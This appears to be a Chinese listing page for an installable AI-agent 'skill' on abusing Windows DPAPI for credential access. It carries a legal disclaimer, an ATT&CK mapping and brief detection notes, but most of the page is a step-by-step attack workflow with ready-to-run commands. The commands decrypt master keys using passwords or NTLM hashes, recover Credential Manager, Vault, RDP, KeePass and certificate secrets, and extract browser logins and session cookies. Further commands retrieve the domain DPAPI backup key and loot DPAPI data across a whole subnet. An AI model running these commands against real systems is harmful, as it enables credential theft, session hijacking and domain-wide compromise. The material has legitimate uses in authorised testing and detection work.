关于 abusing-dpapi-for-credential-access
介绍在授权红队和安全评估中恢复 Windows DPAPI 保护数据的技能,涵盖在线与离线解密、主机排查、浏览器数据及域备份密钥,并使用 SharpDPAPI、SharpChrome 等工具。
主要功能
- 01排查 DPAPI 保护的数据
- 02使用用户凭据或备份密钥解密主密钥
- 03恢复凭据管理器与保管库机密
- 04提取 RDP、证书和 KeePass 机密
- 05解密 Chrome 与 Edge 登录信息和 Cookie
适用场景
- 01评估授权 Windows 主机上的凭据暴露情况
- 02使用用户密码或 NTLM 哈希解密排查所得文件
- 03在紫队演练中验证检测能力
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill abusing-dpapi-for-credential-access安装后在 Claude Code 中输入/abusing-dpapi-for-credential-access确认已加载。
包含的文件
除 SKILL.md 外,安装时一起下载的参考资料和脚本。
LICENSEreferences/api-reference.mdstandards.mdscripts/agent.py详细介绍
滥用 DPAPI 访问凭据
法律声明: 此技能仅用于经授权的渗透测试、红队行动和教育目的。未经明确书面授权,提取不属于你或你无权测试的系统中的凭据属于违法行为,且可能违反计算机欺诈和滥用相关法律。务必遵守已签署的交战规则,并记录每项操作。
概述
Windows Data Protection API(DPAPI)是操作系统内置的对称加密服务,应用程序使用它来保护静态机密信息,包括已保存的 RDP 和 Windows Credential Manager 凭据、Credential Vault 中的网站和 Wi-Fi 凭据、浏览器已保存的登录信息和 Cookie(Chrome/Edge)、KeePass 密钥、证书私钥以及计划任务密码。DPAPI 根据用户密码(或计算机帐户机密)为每位用户(或每台计算机)派生一个主密钥,再由该主密钥加密各个“DPAPI blob”。加密后的主密钥存储在 %APPDATA%\Microsoft\Protect\<SID>\(用户)和 %WINDIR%\System32\Microsoft\Protect\(计算机)下。
红队人员会在获得立足点后滥用 DPAPI 来恢复明文机密,这对应 MITRE ATT&CK T1555.004(凭据存储中的凭据:Windows Credential Manager)。主要有三种解密途径:
- 在线/基于上下文——以目标用户身份运行时,DPAPI API(
CryptUnprotectData)会透明地解密该用户的 blob。SharpDPAPI 的/unprotect标志会使用此方法。 - 使用用户密码或 NTLM 哈希离线解密——使用
/password:或/ntlm:解密用户的主密钥,然后离线解密 blob(非常适合分析从主机提取的文件)。 - 使用域备份密钥进行全域解密——域管理员可以提取域的 RSA DPAPI 备份密钥(
.pvk)一次,然后使用/pvk:永久解密任意域用户的主密钥,无论在线还是离线。
业界标准工具包括用于 Windows 的 SharpDPAPI(GhostPack 的工具,是 Mimikatz DPAPI 功能的 C# 移植版)、用于浏览器机密信息的 SharpChrome,以及作为原始实现的 Mimikatz(dpapi::*)。在 Linux 上,Impacket 的 dpapi.py 和 donpapi 可执行远程/离线分析。
使用场景
- 入侵 Windows 主机后,用户保存了值得收集以用于横向移动的 RDP、浏览器或保管库凭据。
- 持有用户密码或 NTLM 哈希,并希望离线解密其受 DPAPI 保护的机密信息。
- 拥有域管理员权限,并希望获取域 DPAPI 备份密钥,以解密整个环境中任意用户受保护的数据。
- 分析从磁盘映像中外泄的
Credentials、Vault或Protect目录。 - 在紫队演练中验证对 DPAPI 主密钥访问以及读取 LSASS/Protect 文件夹的检测能力。
前提条件
- 已在目标 Windows 主机上获得授权的立足点(交互式会话、信标或远程管理权限)。
- 知道目标用户的 SID,并具备以下任一项:该用户的会话、密码、NTLM 哈希或用于获取备份密钥的域管理员权限。
- 工具(从源代码编译或使用发布版二进制文件;仅从官方上游来源获取):
# SharpDPAPI / SharpChrome (GhostPack) — build with Visual Studio / msbuild
git clone https://github.com/GhostPack/SharpDPAPI.git
# Open SharpDPAPI.sln and build Release, or:
msbuild SharpDPAPI.sln /p:Configuration=Release
# Mimikatz (original DPAPI implementation)
# https://github.com/gentilkiwi/mimikatz/releases
# Linux remote/offline triage (Impacket)
pipx install impacket # provides dpapi.py / impacket-dpapi
pipx install donpapi # https://github.com/login-securite/DonPAPI
目标
- 分析主机上的 DPAPI 保护凭据、保管库、RDP 和证书 blob。
- 使用
/unprotect在线解密用户主密钥,或使用密码/哈希,或使用域备份密钥解密。 - 恢复 Credential Manager 和 Vault 中的明文机密信息。
- 使用 SharpChrome 提取浏览器已保存的登录信息和 Cookie。
- 获取并复用域 DPAPI 备份密钥,以解密整个环境中的数据。
MITRE ATT&CK 映射
| 技术 ID | 名称 | 战术 | 相关性 |
|---|---|---|---|
| T1555.004 | 密码存储中的凭据:Windows Credential Manager | 凭据访问 | DPAPI 保护 Credential Manager / Vault 条目;解密主密钥和数据块可恢复这些存储的凭据。 |
| T1555.003 | 密码存储中的凭据:来自 Web 浏览器的凭据 | 凭据访问 | SharpChrome 可解密受 DPAPI 保护的 Chrome/Edge 登录信息、Cookie 和状态密钥。 |
| T1003 | 操作系统凭据转储 | 凭据访问 | 提取主密钥/备份密钥属于转储凭据材料。 |
工作流
1. 对主机上的 DPAPI 数据块进行分诊
在用户上下文中运行 SharpDPAPI triage 命令,自动枚举并(在可能的情况下)解密凭据、Vault、RDG/RDP 和证书:
# Online triage in the current user's context (uses CryptUnprotectData)
SharpDPAPI.exe triage /unprotect
# Machine triage (requires local admin / SYSTEM) for machine-scoped blobs
SharpDPAPI.exe machinetriage
2. 离线解密用户主密钥(密码或 NTLM 哈希)
如果掌握用户的密码或哈希,可解密其主密钥,生成可用于处理单个数据块的 {GUID}:SHA1 映射:
# Decrypt all of the current/specified user's master keys with the password
SharpDPAPI.exe masterkeys /password:CorrectHorseBatteryStaple
# Decrypt master keys with the user's NTLM hash instead of the password
SharpDPAPI.exe masterkeys /ntlm:cc36cf7a8514893efccd332446158b1a
# Output is GUID:SHA1 lines — feed them to credentials/vaults commands
3. 恢复 Credential Manager 和 Vault 机密
使用解密后的主密钥映射(或 /pvk:)解密存储的凭据和 Vault 条目:
# Decrypt Credential Manager blobs with a GUID:SHA1 mapping
SharpDPAPI.exe credentials {GUID1}:SHA1 {GUID2}:SHA1
# Or point at a target Credentials folder and decrypt with the domain backup key
SharpDPAPI.exe credentials /target:C:\Users\bob\AppData\Local\Microsoft\Credentials\ /pvk:backupkey.pvk
# Decrypt Credential Vault entries
SharpDPAPI.exe vaults /pvk:backupkey.pvk
4. 解密 RDP、KeePass 和证书机密
# Saved RDCMan.settings RDP passwords (current user context)
SharpDPAPI.exe rdg /unprotect
# KeePass DPAPI-protected master keys
SharpDPAPI.exe keepass /unprotect
# Certificate private keys (export usable .pem with /showall for all stores)
SharpDPAPI.exe certificates /unprotect /showall
5. 使用 SharpChrome 提取浏览器凭据
SharpChrome 可解密 Chrome/Edge 登录信息和 Cookie。现代 Chromium 使用 App-Bound“状态密钥”,SharpChrome 会通过 DPAPI 解析该密钥:
# Decrypt saved logins for the current user
SharpChrome.exe logins /unprotect
# Decrypt cookies (useful for session hijacking) in a target folder
SharpChrome.exe cookies /target:"C:\Users\bob\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies" /pvk:backupkey.pvk
# Resolve the AES state key explicitly
SharpChrome.exe statekeys /unprotect
6. 获取域 DPAPI 备份密钥(Domain Admin)
拥有 Domain Admin 权限后,可检索一次域的 RSA DPAPI 备份私钥。该密钥可永久解密所有域用户的主密钥:
# Pull and save the domain backup key as a .pvk via the MS-BKRP RPC interface
SharpDPAPI.exe backupkey /server:dc01.corp.local /file:backupkey.pvk
然后使用该密钥离线解密任何用户的主密钥:
SharpDPAPI.exe masterkeys /pvk:backupkey.pvk /target:C:\Users\alice\AppData\Roaming\Microsoft\Protect\
7. 远程/基于 Linux 的分诊(Impacket / DonPAPI)
在 Linux 操作主机上,从各主机收集并解密 DPAPI 机密:
# Decrypt a single masterkey file with Impacket using the domain backup key
impacket-dpapi masterkey -file <masterkey_file> -pvk backupkey.pvk
# Decrypt a credential blob with the recovered masterkey
impacket-dpapi credential -file <cred_blob> -key 0x<decrypted_masterkey>
# Mass remote DPAPI looting across hosts with DonPAPI
donpapi collect -u alice -p 'Password123!' -d corp.local --target 10.0.0.0/24
工具和资源
| 工具 | 用途 | 链接 |
|---|---|---|
| SharpDPAPI | Windows DPAPI 分诊/解密(C#) | https://github.com/GhostPack/SharpDPAPI |
| SharpChrome | Chromium 登录信息/Cookie/状态密钥解密 | https://github.com/GhostPack/SharpDPAPI |
| Mimikatz | 原始 DPAPI(dpapi::*)实现 | https://github.com/gentilkiwi/mimikatz |
| Impacket dpapi.py | 远程/离线 DPAPI 解密(Python) | https://github.com/fortra/impacket |
| DonPAPI | 大规模远程 DPAPI 数据收集 | https://github.com/login-securite/DonPAPI |
| HackTricks DPAPI | 技术参考 | https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html |
检测和 OPSEC 注意事项
- 主密钥访问以及对
\Microsoft\Protect\和\Microsoft\Credentials\的读取都可被检测到;backupkey会触发向 DC 发起 MS-BKRP RPC 调用。 /unprotect(在线)路径是针对单台主机最隐蔽的选项,但仅在以当前用户身份运行时有效。- 防御人员应监控 Sysmon 对 LSASS 的进程访问,以及对 Protect/Credentials 文件夹的异常访问(DE.CM-01)。
验证标准
- 已使用
SharpDPAPI triage/machinetriage对主机进行分诊。 - 已通过
/unprotect、/password:、/ntlm:或/pvk:解密用户主密钥。 - 已恢复 Credential Manager 和 Vault 机密。
- 已提取存在的 RDP / KeePass / 证书机密。
- 已使用 SharpChrome 解密浏览器登录信息/Cookie。
- 已使用 Domain Admin 权限获取域 DPAPI 备份密钥(如在范围内),并将其用于离线解密。
- 已记录所有恢复的机密及其来源主机/用户,并确认符合 ROE。